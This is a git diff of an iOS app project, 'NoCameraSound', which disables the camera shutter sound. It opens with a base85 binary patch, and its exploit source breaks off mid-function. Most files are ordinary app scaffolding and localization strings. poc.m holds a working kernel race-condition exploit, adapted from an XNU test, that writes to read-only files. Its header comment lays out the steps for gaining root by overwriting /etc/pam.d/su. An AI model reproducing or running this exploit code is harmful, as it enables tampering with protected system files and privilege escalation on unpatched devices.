z;RvcX(+X4nH1Lc3OI^h8_dnmSWd-K1D5v`rpQq3phY`1Gf3bjJ91iSMvg)A%HmcF7?$G0S@NoFR#_5&C`;(k9i>%zT&!_Vn6foQeCglA3 zp9;I^W7hVj-MQBAc0d2u5B}*3nRL~3NoT)|4fFT+_wyJD)KVk;FMVJBQB%p1;~|D%w>Cq#H zGs0`Vxp2At_s7qxS2HoPFiqet`4?^dCu$D*xz+|ztUXb04dHWajlA)6IOO(&szw7mWW`E!chlYr8nv<4_=`{7h$J!Ev zII({g=^=x{=N8oxL3;`gLlWGGY@c7r)o&uaw{ES~`Q89@x-_{z{bkBCp9SA0s<(-9 zx(=7l2MvTCz5lD(=kM%+`qvToy}3Ok;9KG97IuwLttZkQAtdoXgug@>84wL+G}#st zn?3t@$G@wq(x%3B(#!y~I@awzBir~M-x?vp>fXOCS8%HDJa9Q-S%RF=P?#8(hw0u0 zQVbFw{g6@bRcpmwL6>_jRvr`uomlW*?+CQ6&17(cI)L25Zc`SW^@b!V1A<&~|KeDO zj1eDK#7rdvS5p0-gsj*nqo%99#lAgr`iGaGC%K++(to--+LM|WZLsl3`?qXk_CIt| zHK&u46<%0-XEgU}=iBQ)URhqU#O7aZ=w%GrIu0sDr;^Qwc35RD_iXcvefvdhSTjmi<^RMq%66Zs(H!#owDtLPgcyrA0)bN_Wkq!~~ zk#nSRteNe`!SXI22?RdGg4DQ0NIfoc3n-nI8z8#QzE*d+H3Ah(JGidNRD9(BoLj*t z@7-Y8fQE<6NS%+ozzgbwYLI9|E-y@z7xsnoIrE6_*Ky4_4cEmxq2KUTE_rl%S~D|o zKU!4(t>~03E*bNL_|mvHb+lWR9MA`P+K`m0fJPB!;5s#%e&m40Mi0fX_+bCrK^fjy z-QYk9PAD`&Hc@iB2gx?%FtVx~5t=Sxjk9(xYBit?7|318VBU_6ehH+!p@1i9Yfp!s z@?#}$*8^GMKdMCdCCnlBim^{Fg{!rG+(Rh_!51DDHdeL4maq+P-J{eTUJsR8Bxbtl zbZUHQ9W0v<+fUF%C4NuYmTGsE!ls?Z8PYw;Lti9!CDC-HBr&PHG{pU;)-7q>^X`y( zkspD`F+dLZT5>IZ+-&{uHNf}foXw*XCP4}cj?wOFiRLPc?teAGOe&FvIF9y$uCLfz z1#J3P5&KpG|8-pNE4H>@?_P(tQnhwIo9oM7>vS;}-)B9KCWcz{Qf}V2=oRY$-H`kI zo*b^;Zjp5?(W*F%)fW(nxD{wy&!}1I#9c()8Az7-Vsr6WOOvx=Gz<|_yA)5LHZuJp zxVfz!Rw6-&KivnpYz{o^#O^;9FSEF74x`URP~R2b)=VGe$C?18veCdPH>_p-BL7!R zP-tckLTNoBXV)judI%IGjhYq4l@Q-e1&WQTjF8kAtkPvZnbRt%#2X6=QMxZ2vQ8Al zyv#NL7YaVp4ahkF2Km!zcji9x7a6B40yk3`Qw1qWC>4)qjASRcDnkIxmYu_5eFg!7Gi*#u?J6(-8S7eZrKEGPmrbx2=N6mxp$lWJKcRNAxB>h5<} zcfs36+Q{UAK&O31u9R2G35wKa|1{MAF{1ub@>4EUh{uCpNO!^;xV178NyK?lGAM*S z+duslkj{-dk7jLb`%u-Ec@Ym9l3B_FRLGh}L?X)%xz~wJzQ7dP_POn8_QuP)rGJ-a9Ocd2@p_O;LMYnSdaPJ|WD zwcpwF6erYOt-+)GWD++lCj=DOyyBS1WPM)&lqdG&2U9vvgn48d@xp(^0&I>;1e|}X ztIJgGv6Ek~Y@Xbb%qFbDDgwNH_LNKnsOMp(XTWLGr`_?x<$UuHdY+?&e|tx{*NSYN*z z(h&n$ydcTkbL|4M+VO&&_6pZhq^B!3YAp<4noNQ{VZn5D)mrAf3_!Z_flWoaBf!}$ zaf+U2?gIa*)Uhm9JqN`+K&r*Uv)KrXTGVW&d%?5_&ROz$`(J%PIWt~=yzFdvk}A*a zr$~fbv<~0CSoV1P0gSYaN0Ab55v)Oyv>&Dl(DOvxgL zOlFmGo_P`|Ogh%jUI4P*&I|E?ep~zN!Jli+#Te454X!7mYqP&h^<~*eU(i-{n9`T$X#)T z;yfK?f4^5x{}SjicK>DYmN;7*C;xFUF77Y|q=5yu&+qgKETv|#@WP&c zuKgS0^O-BY{Nc^n(OjTR&Hn8qv?5i)e6hUaEKo zh4k?WewP_>{E;8%p+%g%u98b0Pf?vscp>)?*ug4KuC`ap#-R`AKCL&X(R(~%;AGh~ z$1MYy`3rF!V8Dl=t(m>kHm)bzA^Ih5nP>fk3^)b7sXe8t3!eHhSH7pfMEG&9pKvXr zPP$qmclz}?vdPZohN22L?z2U_0kD<

MeA!h7uK6lucqvzHBe*z?f`i5rt~83{J$ zN}yu4FMvFr6$7Gd$b0PLvhMRC0L#6C)aj9_^My6FTF$5n8YudHCK#~$ zrceAM(jpP$#9jh?8a20FvGX6*Ft*{GRr|M)A#S6FgJ^b1M3W0Mo*zhwAkN;#RQsc8 zs#GNB1989!sPXL9Bg^s(Z|MXD#Bwt|6kClo#6>1`AvaK-tVN_Q3&}Zj$k?Tx$=Uqp zD<85=pg`>cQO4a1t4&`%`nsZ30>VYBYwECESCT zQ>~bIVezkf=1a}aP7H{v6!YLgfEfS&S8 z%7#wM9?E==_I^&MCb^I}aZ~KVyT7QnYxyBB!*U2jJ?2dnW`Fwol-*;S-P#3cqhllE zAUmVi7M6QQ|D4YVks*7{GCLxo#f8zU@ernEz}?92`-`a^cQWq;F#NwAhKe7_22Rg7 z{T+Gg7yo9j;)qnx6P?09P1?ps=5;S|$CNVnq06B5|0*d6K@3*Lu1cY&SDU1Dx?cCF;R7tupAt;?jeWpY9F7=?U z48*c?3F5H<+BgA527*E*E+TgUBAn~%@d`_2-(KJ@Rch4 z8Mr0@-_CVE!%mHu^AY#g(+LMsL(o5}833wf)@%A^RWyM_F;K=f@!v0u*e1QWQpPyd zDv&Hwaj@+J>b?&Da<~3v?8x?H1)dI!uuK3H|7_TSqg@)~ zd_RA>i7(P0>q?PT6x}8jSDK!r68)+3=r1|2t37V~XS2OnT3zrDc{uQ-KoY1 zg&zRQM8yAEqFG8jVZ6F$qBx0(>i%cK!ut*RnBR%}&nE-$X^U^`nF8&=ttSRrlace} zjy2f`D*j^*%I1c1MbJ!`DsWsD_&evb`0MEqEBPS`&eOeBZFiNsRP+I*bTD6+en%u} z8>qWuWV{h)bYZwu%VG@PVqFGylzxAtG^v+* zAo$}>*49o{0TGkkcWKH!Kq9}ijP0Da6DWWY$?g2hxUB}f22o-~u?@w_32*$&+63xKOS( z4HO(l3Q2Y%;j{`w&<MEZ^1f+94dG^h5nb!bNuf=hGP9Al7zuC3s_;B1>uN{4%}Gq^(x=qSULARqvMC|U(3`S2eaX~OF`ZgRT~Jmz zbbe$^hE*c{+@S{)W9uJvIm{>UxQB9Zkf6J z{1)&QJ8~p1ioOJjs1d0G-NTQ?=b;ESSQP1|2f0d)DI}%>*-=vW#tE)B#-e@hF z0c)4`W|lD~<+!cA9wDJ^Gyww-5=~zLFM@9wMr-=@i4!W86Gg8ltd_S*_0t(f(~|mHDO!F5KO>9_PH?Ps`94gUQYaGgp-{6oPYDo*9BS>roscC*3wm=%-x}&^MMJ zVAZ4JrPNZQEyU%+CfKt@b8N{xQ`xuA?arO%{P;FKr&ouf%opWZM0tVVipX)xrK;Ke zZ6p!aW6)&rHC<#RRQ)%C;M&NwC+2T06#8m3J?9pZ>U{3m<1IkttPMS(&Hw-#u% zP)RYc5kF~DMU)dS<#tJmAc7Uh3!ep?iBngJ;x93zFula|XO5HYr-N_%<8!2yqR?(P{2R0D1V6o$Gz8oU@+qTfMQXd=SR%~<#1&Den3~{sh zS`#^HwE``1(tW>$wDx_B+Di!`_Dx97mwoGSp?y!m=0baiClW$f|-!t#oI1XwawO<9|^ zGp!?zD`l7bk9SZM@I9hnW3j+pzwr4&c@`gFE1K|%IX+ds1gM@-C48|6Ucxt|6t*)F zZf4tmC9wqp64St#B+E86`9}uOGA`rux)9vtHW7xHVT~y>QD>|6opV+AtrMMUVQ*kI z{-JHgB>-~c?iov9h|cG-GhZm(}s35dv7uq|D7h)Y`~+>Ab7ihCX`Fm4RRL^ zyEX%Rv6wOgG~2LzB!SV7vboh#{ZDCLuj^9IfgULJV9kh+<62=~WUfwO*c^)#;+3RL zg(meS(`;9xL9AQg8orbqWsgh=tF-aV64q+88_KzqOZGP~3v*mXX52TXRM9e`M7}^o zauRgX(XXi~6%DP`7q2LEW`;K`u%YG+A8-VhGu87Ufsz!iM{2Ag?d1FR&kTdQLuzo zv0%f;^aBpd(0C12Gba~lH>S5G8S_=xGsd1``Ur=c2nA;sgVnps34a)i;N}%e4P_lI z9kpm-nT(nTdY6`GbU#OlTfe)(`X7t(mWp9%?YN^PgrB>?=0?a}X{!~tn=g6*Kr zPDF6zr|I(#qzld9hP1)fyFR+a4&Qr0l3bBe3F!*SSV4l`$k6@=I^v-hj7$|3mj8bR?`5f~GXVUGf(kDCKN zQkbZ~R?X*3S;*I+(0IClxZ6LW`A!d{8`2}0UIlxKw}Sve0g97JaH?tT&`_Yyj(;w` z0QV;TBr?iPcdfvP9&m$8L;{cx5>x7l2g11_9&XZaxF#*Pw`vq5#?6z^FZ(v789;Ot zpZj?R4bgC*(Gh^ljnSswv8V)+}QFG6}(0FO_ z;ecW9RI4|T#iE-E^6j*`SfCQo^!_D^LC43AEMX`whY8V9_wB3h3^z?;vqT3LE= zOtZdj*Oxm7dUbj&{R9ROLn zXt!gGUmDVxc&+L*EO@Gx(LSN4{qjj1v)H$IR{*NX%i0$OLUh{davVm1F`aj9x!93Z z$8ZlqH)@p79(gHOkW^1CHzdTZ_e-kzu z+t!c0J3eya$C7274HpiYyJv{EQcC;qPABmH3kU~$!*>1t6DbE(mYVL{w;osqH|@7~ Kwd32+ + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/NoCameraSound/Base.lproj/Main.storyboard b/NoCameraSound/Base.lproj/Main.storyboard new file mode 100644 index 0000000..0476373 --- /dev/null +++ b/NoCameraSound/Base.lproj/Main.storyboard @@ -0,0 +1,85 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/NoCameraSound/Info.plist b/NoCameraSound/Info.plist new file mode 100644 index 0000000..81ed29b --- /dev/null +++ b/NoCameraSound/Info.plist @@ -0,0 +1,25 @@ + + + + + UIApplicationSceneManifest + + UIApplicationSupportsMultipleScenes + + UISceneConfigurations + + UIWindowSceneSessionRoleApplication + + + UISceneConfigurationName + Default Configuration + UISceneDelegateClassName + SceneDelegate + UISceneStoryboardFile + Main + + + + + + diff --git a/NoCameraSound/Localizable.strings b/NoCameraSound/Localizable.strings new file mode 100644 index 0000000..185137c --- /dev/null +++ b/NoCameraSound/Localizable.strings @@ -0,0 +1,7 @@ +/* + Localizable.strings + NoCameraSound + + Created by mini on 2022/12/26. + +*/ diff --git a/NoCameraSound/SceneDelegate.h b/NoCameraSound/SceneDelegate.h new file mode 100644 index 0000000..a6844e9 --- /dev/null +++ b/NoCameraSound/SceneDelegate.h @@ -0,0 +1,15 @@ +// +// SceneDelegate.h +// NoCameraSound +// +// Created by mini on 2022/12/26. +// + +#import + +@interface SceneDelegate : UIResponder + +@property (strong, nonatomic) UIWindow * window; + +@end + diff --git a/NoCameraSound/SceneDelegate.m b/NoCameraSound/SceneDelegate.m new file mode 100644 index 0000000..d5d1df7 --- /dev/null +++ b/NoCameraSound/SceneDelegate.m @@ -0,0 +1,57 @@ +// +// SceneDelegate.m +// NoCameraSound +// +// Created by mini on 2022/12/26. +// + +#import "SceneDelegate.h" + +@interface SceneDelegate () + +@end + +@implementation SceneDelegate + + +- (void)scene:(UIScene *)scene willConnectToSession:(UISceneSession *)session options:(UISceneConnectionOptions *)connectionOptions { + // Use this method to optionally configure and attach the UIWindow `window` to the provided UIWindowScene `scene`. + // If using a storyboard, the `window` property will automatically be initialized and attached to the scene. + // This delegate does not imply the connecting scene or session are new (see `application:configurationForConnectingSceneSession` instead). +} + + +- (void)sceneDidDisconnect:(UIScene *)scene { + // Called as the scene is being released by the system. + // This occurs shortly after the scene enters the background, or when its session is discarded. + // Release any resources associated with this scene that can be re-created the next time the scene connects. + // The scene may re-connect later, as its session was not necessarily discarded (see `application:didDiscardSceneSessions` instead). +} + + +- (void)sceneDidBecomeActive:(UIScene *)scene { + // Called when the scene has moved from an inactive state to an active state. + // Use this method to restart any tasks that were paused (or not yet started) when the scene was inactive. +} + + +- (void)sceneWillResignActive:(UIScene *)scene { + // Called when the scene will move from an active state to an inactive state. + // This may occur due to temporary interruptions (ex. an incoming phone call). +} + + +- (void)sceneWillEnterForeground:(UIScene *)scene { + // Called as the scene transitions from the background to the foreground. + // Use this method to undo the changes made on entering the background. +} + + +- (void)sceneDidEnterBackground:(UIScene *)scene { + // Called as the scene transitions from the foreground to the background. + // Use this method to save data, release shared resources, and store enough scene-specific state information + // to restore the scene back to its current state. +} + + +@end diff --git a/NoCameraSound/ViewController.h b/NoCameraSound/ViewController.h new file mode 100644 index 0000000..82ff55d --- /dev/null +++ b/NoCameraSound/ViewController.h @@ -0,0 +1,14 @@ +// +// ViewController.h +// NoCameraSound +// +// Created by mini on 2022/12/26. +// + +#import + +@interface ViewController : UIViewController + + +@end + diff --git a/NoCameraSound/ViewController.m b/NoCameraSound/ViewController.m new file mode 100644 index 0000000..5632ca1 --- /dev/null +++ b/NoCameraSound/ViewController.m @@ -0,0 +1,98 @@ +// +// ViewController.m +// NoCameraSound +// +// Created by すとれーとたまご★ on 2022/12/26. +// + +#import "ViewController.h" +#import "poc.h" + +@interface ViewController () +@property (weak, nonatomic) IBOutlet UIActivityIndicatorView *running; +@end + +@implementation ViewController + +- (void)viewDidLoad { + [super viewDidLoad]; + // Do any additional setup after loading the view. +} + +- (IBAction)go:(id)sender { + UIAlertController *alert = [UIAlertController alertControllerWithTitle:NSLocalizedString(@"Select Operation", nil) + message:NSLocalizedString(@"When the process is complete, this app will crash, but the shutter sound should be gone. (It will return to normal after a certain period of time or restart)", nil) + preferredStyle:UIAlertControllerStyleAlert]; + + +UIAlertAction *firstAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"Photo & ScreenShot", nil) + style:UIAlertActionStyleDefault handler:^(UIAlertAction * action) { + self->_running.hidden = false; + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 2 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{ + startr_0(); + }); +}]; +UIAlertAction *secondAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"Video Recording (Start)", nil) + style:UIAlertActionStyleDefault handler:^(UIAlertAction * action) { + self->_running.hidden = false; + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 2 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{ + startr_1(); + }); +}]; +UIAlertAction *thirdAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"Video Recording (End)", nil) + style:UIAlertActionStyleDefault handler:^(UIAlertAction * action) { + self->_running.hidden = false; + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 2 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{ + startr_2(); + }); +}]; +UIAlertAction *fourthAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"Close", nil) + style:UIAlertActionStyleCancel handler:^(UIAlertAction * action) { + }]; + + [alert addAction:firstAction]; + [alert addAction:secondAction]; + [alert addAction:thirdAction]; + [alert addAction:fourthAction]; + [self presentViewController:alert animated:YES completion:nil]; +} + +- (IBAction)info:(id)sender { + NSString *version = [[[NSBundle mainBundle] infoDictionary] objectForKey:@"CFBundleShortVersionString"]; + NSString *versionText = @"NoCameraSound v"; + NSString *fullversion = [versionText stringByAppendingString:version]; + UIApplication *application = [UIApplication sharedApplication]; + NSURL *URL = [NSURL URLWithString:@"https://github.com/straight-tamago/NoCameraSound"]; + NSURL *URL2 = [NSURL URLWithString:@"https://github.com/zhuowei/MacDirtyCowDemo"]; + + UIAlertController *alert = [UIAlertController alertControllerWithTitle:fullversion + message:NSLocalizedString(@"by straight-tamago", nil) + preferredStyle:UIAlertControllerStyleAlert]; + UIAlertAction *firstAction = [UIAlertAction actionWithTitle:@"Source Code" + style:UIAlertActionStyleDefault handler:^(UIAlertAction * action) { + [application openURL:URL options:@{} completionHandler:^(BOOL success) { + if (success) { + NSLog(@"Success"); + } + }]; + }]; + UIAlertAction *secondAction = [UIAlertAction actionWithTitle:@"MacDirtyCowDemo (Exploit)" + style:UIAlertActionStyleDefault handler:^(UIAlertAction * action) { + [application openURL:URL2 options:@{} completionHandler:^(BOOL success) { + if (success) { + NSLog(@"Success"); + } + }]; + }]; + UIAlertAction *thirdAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"Close", nil) + style:UIAlertActionStyleCancel handler:^(UIAlertAction * action) { + }]; + + [alert addAction:firstAction]; + [alert addAction:secondAction]; + [alert addAction:thirdAction]; + + [self presentViewController:alert animated:YES completion:nil]; + +} +@end diff --git a/NoCameraSound/en.lproj/Main.strings b/NoCameraSound/en.lproj/Main.strings new file mode 100644 index 0000000..f977a1b --- /dev/null +++ b/NoCameraSound/en.lproj/Main.strings @@ -0,0 +1,12 @@ + +/* Class = "UIButton"; configuration.title = "Disable Shutter Sound"; ObjectID = "3JV-RE-y9F"; */ +"3JV-RE-y9F.configuration.title" = "Disable Shutter Sound"; + +/* Class = "UIButton"; normalTitle = "Button"; ObjectID = "3JV-RE-y9F"; */ +"3JV-RE-y9F.normalTitle" = "Button"; + +/* Class = "UILabel"; text = "NoCameraSound"; ObjectID = "5fr-iM-fEy"; */ +"5fr-iM-fEy.text" = "NoCameraSound"; + +/* Class = "UIButton"; normalTitle = "Button"; ObjectID = "tjJ-np-Gq7"; */ +"tjJ-np-Gq7.normalTitle" = "Button"; diff --git a/NoCameraSound/ja.lproj/LaunchScreen.strings b/NoCameraSound/ja.lproj/LaunchScreen.strings new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/NoCameraSound/ja.lproj/LaunchScreen.strings @@ -0,0 +1 @@ + diff --git a/NoCameraSound/ja.lproj/Localizable.strings b/NoCameraSound/ja.lproj/Localizable.strings new file mode 100644 index 0000000..2e71445 --- /dev/null +++ b/NoCameraSound/ja.lproj/Localizable.strings @@ -0,0 +1,15 @@ +/* + Localizable.strings + NoCameraSound + + Created by mini on 2022/12/27. + +*/ + +"by straight-tamago" = "by すとれーとたまご★"; +"Close" = "閉じる"; +"Select Operation" = "操作を選択"; +"When the process is complete, this app will crash, but the shutter sound should be gone. (It will return to normal after a certain period of time or restart)" = "処理が完了するとこのアプリは落ちるけど、シャッター音は消えてるはずだよ。(一定時間経過or再起動で戻る)"; +"Photo & ScreenShot" = "写真撮影(スクショを含む)"; +"Video Recording (Start)" = "動画撮影開始(画面収録を含む)"; +"Video Recording (End)" = "動画撮影終了(画面収録を含む)"; diff --git a/NoCameraSound/ja.lproj/Main.strings b/NoCameraSound/ja.lproj/Main.strings new file mode 100644 index 0000000..9b56ceb --- /dev/null +++ b/NoCameraSound/ja.lproj/Main.strings @@ -0,0 +1,12 @@ + +/* Class = "UIButton"; configuration.title = "シャッター音 無効化"; ObjectID = "3JV-RE-y9F"; */ +"3JV-RE-y9F.configuration.title" = "Button"; + +/* Class = "UIButton"; normalTitle = "Button"; ObjectID = "3JV-RE-y9F"; */ +"3JV-RE-y9F.normalTitle" = "シャッター音 無効化"; + +/* Class = "UILabel"; text = "NoCameraSound"; ObjectID = "5fr-iM-fEy"; */ +"5fr-iM-fEy.text" = "NoCameraSound"; + +/* Class = "UIButton"; normalTitle = "Button"; ObjectID = "tjJ-np-Gq7"; */ +"tjJ-np-Gq7.normalTitle" = "Button"; diff --git a/NoCameraSound/main.m b/NoCameraSound/main.m new file mode 100644 index 0000000..04fcd7f --- /dev/null +++ b/NoCameraSound/main.m @@ -0,0 +1,18 @@ +// +// main.m +// NoCameraSound +// +// Created by mini on 2022/12/26. +// + +#import +#import "AppDelegate.h" + +int main(int argc, char * argv[]) { + NSString * appDelegateClassName; + @autoreleasepool { + // Setup code that might create autoreleased objects goes here. + appDelegateClassName = NSStringFromClass([AppDelegate class]); + } + return UIApplicationMain(argc, argv, nil, appDelegateClassName); +} diff --git a/NoCameraSound/poc.h b/NoCameraSound/poc.h new file mode 100644 index 0000000..331bfe0 --- /dev/null +++ b/NoCameraSound/poc.h @@ -0,0 +1,15 @@ +// +// Header.h +// No Camera Sound +// +// Created by すとれーとたまご★ on 2022/12/26. +// + +#ifndef poc_h +#define poc_h + +#include +void startr_0(void); +void startr_1(void); +void startr_2(void); +#endif /* Header_h */ diff --git a/NoCameraSound/poc.m b/NoCameraSound/poc.m new file mode 100644 index 0000000..a12966b --- /dev/null +++ b/NoCameraSound/poc.m @@ -0,0 +1,366 @@ +// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c +// modified to compile outside of XNU + +// clang -o switcharoo vm_unaligned_copy_switch_race.c +// sed -e "s/rootok/permit/g" /etc/pam.d/su > overwrite_file.bin +// ./switcharoo /etc/pam.d/su overwrite_file.bin +// su +@import Foundation; +#include +#include +#include + +#include +#include +#include + +#include +#include + +#define T_QUIET +#define T_EXPECT_MACH_SUCCESS(a, b) +#define T_EXPECT_MACH_ERROR(a, b, c) +#define T_ASSERT_MACH_SUCCESS(a, b, ...) +#define T_ASSERT_MACH_ERROR(a, b, c) +#define T_ASSERT_POSIX_SUCCESS(a, b) +#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) +#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) +#define T_ASSERT_TRUE(a, b, ...) +#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) +#define T_DECL(a, b) static void a(void) +#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) + +static const char* g_arg_target_file_path; +static const char* g_arg_overwrite_file_path; + +struct context1 { + vm_size_t obj_size; + vm_address_t e0; + mach_port_t mem_entry_ro; + mach_port_t mem_entry_rw; + dispatch_semaphore_t running_sem; + pthread_mutex_t mtx; + bool done; +}; + +static void * +switcheroo_thread(__unused void *arg) +{ + kern_return_t kr; + struct context1 *ctx; + + ctx = (struct context1 *)arg; + /* tell main thread we're ready to run */ + dispatch_semaphore_signal(ctx->running_sem); + while (!ctx->done) { + /* wait for main thread to be done setting things up */ + pthread_mutex_lock(&ctx->mtx); + /* switch e0 to RW mapping */ + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, + ctx->mem_entry_rw, + 0, + FALSE, /* copy */ + VM_PROT_READ | VM_PROT_WRITE, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW"); + /* wait a little bit */ + usleep(100); + /* switch bakc to original RO mapping */ + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ, + VM_PROT_READ, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO"); + /* tell main thread we're don switching mappings */ + pthread_mutex_unlock(&ctx->mtx); + usleep(100); + } + return NULL; +} + +T_DECL(unaligned_copy_switch_race, + "Test that unaligned copy respects read-only mapping") +{ + pthread_t th = NULL; + int ret; + kern_return_t kr; + time_t start, duration; + mach_msg_type_number_t cow_read_size; + vm_size_t copied_size; + int loops; + vm_address_t e2, e5; + struct context1 context1, *ctx; + int kern_success = 0, kern_protection_failure = 0, kern_other = 0; + vm_address_t ro_addr, tmp_addr; + memory_object_size_t mo_size; + + ctx = &context1; + ctx->obj_size = 256 * 1024; + ctx->e0 = 0; + ctx->running_sem = dispatch_semaphore_create(0); + T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create"); + ret = pthread_mutex_init(&ctx->mtx, NULL); + T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init"); + ctx->done = false; + ctx->mem_entry_rw = MACH_PORT_NULL; + ctx->mem_entry_ro = MACH_PORT_NULL; +#if 0 + /* allocate our attack target memory */ + kr = vm_allocate(mach_task_self(), + &ro_addr, + ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr"); + /* initialize to 'A' */ + memset((char *)ro_addr, 'A', ctx->obj_size); +#endif + int fd = open(g_arg_target_file_path, O_RDONLY | O_CLOEXEC); + ro_addr = (uintptr_t)mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, fd, 0); + /* make it read-only */ + kr = vm_protect(mach_task_self(), + ro_addr, + ctx->obj_size, + TRUE, /* set_maximum */ + VM_PROT_READ); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr"); + /* make sure we can't get read-write handle on that target memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + ro_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, + &ctx->mem_entry_ro, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO"); + /* take read-only handle on that target memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + ro_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ, + &ctx->mem_entry_ro, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO"); + T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); + /* make sure we can't map target memory as writable */ + tmp_addr = 0; + kr = vm_map(mach_task_self(), + &tmp_addr, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_ANYWHERE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); + tmp_addr = 0; + kr = vm_map(mach_task_self(), + &tmp_addr, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_ANYWHERE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ | VM_PROT_WRITE, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); + + /* allocate a source buffer for the unaligned copy */ + kr = vm_allocate(mach_task_self(), + &e5, + ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5"); + /* initialize to 'C' */ + memset((char *)e5, 'C', ctx->obj_size); + + FILE* overwrite_file = fopen(g_arg_overwrite_file_path, "r"); + fseek(overwrite_file, 0, SEEK_END); + size_t overwrite_length = ftell(overwrite_file); + if (overwrite_length >= PAGE_SIZE) { + fprintf(stderr, "too long!\n"); + exit(1); + } + fseek(overwrite_file, 0, SEEK_SET); + char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - overwrite_length); + fread(e5_overwrite_ptr, 1, overwrite_length, overwrite_file); + fclose(overwrite_file); + + int overwrite_first_diff_offset = -1; + char overwrite_first_diff_value = 0; + for (int off = 0; off < overwrite_length; off++) { + if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) { + overwrite_first_diff_offset = off; + overwrite_first_diff_value = ((char*)ro_addr)[off]; + } + } + if (overwrite_first_diff_offset == -1) { + fprintf(stderr, "no diff?\n"); + exit(1); + } + + /* + * get a handle on some writable memory that will be temporarily + * switched with the read-only mapping of our target memory to try + * and trick copy_unaligned to write to our read-only target. + */ + tmp_addr = 0; + kr = vm_allocate(mach_task_self(), + &tmp_addr, + ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory"); + /* initialize to 'D' */ + memset((char *)tmp_addr, 'D', ctx->obj_size); + /* get a memory entry handle for that RW memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + tmp_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, + &ctx->mem_entry_rw, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW"); + T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); + kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr); + tmp_addr = 0; + + pthread_mutex_lock(&ctx->mtx); + + /* start racing thread */ + ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx); + T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create"); + + /* wait for racing thread to be ready to run */ + dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER); + + duration = 10; /* 10 seconds */ + T_LOG("Testing for %ld seconds...", duration); + for (start = time(NULL), loops = 0; + time(NULL) < start + duration; + loops++) { + /* reserve space for our 2 contiguous allocations */ + e2 = 0; + kr = vm_allocate(mach_task_self(), + &e2, + 2 * ctx->obj_size, 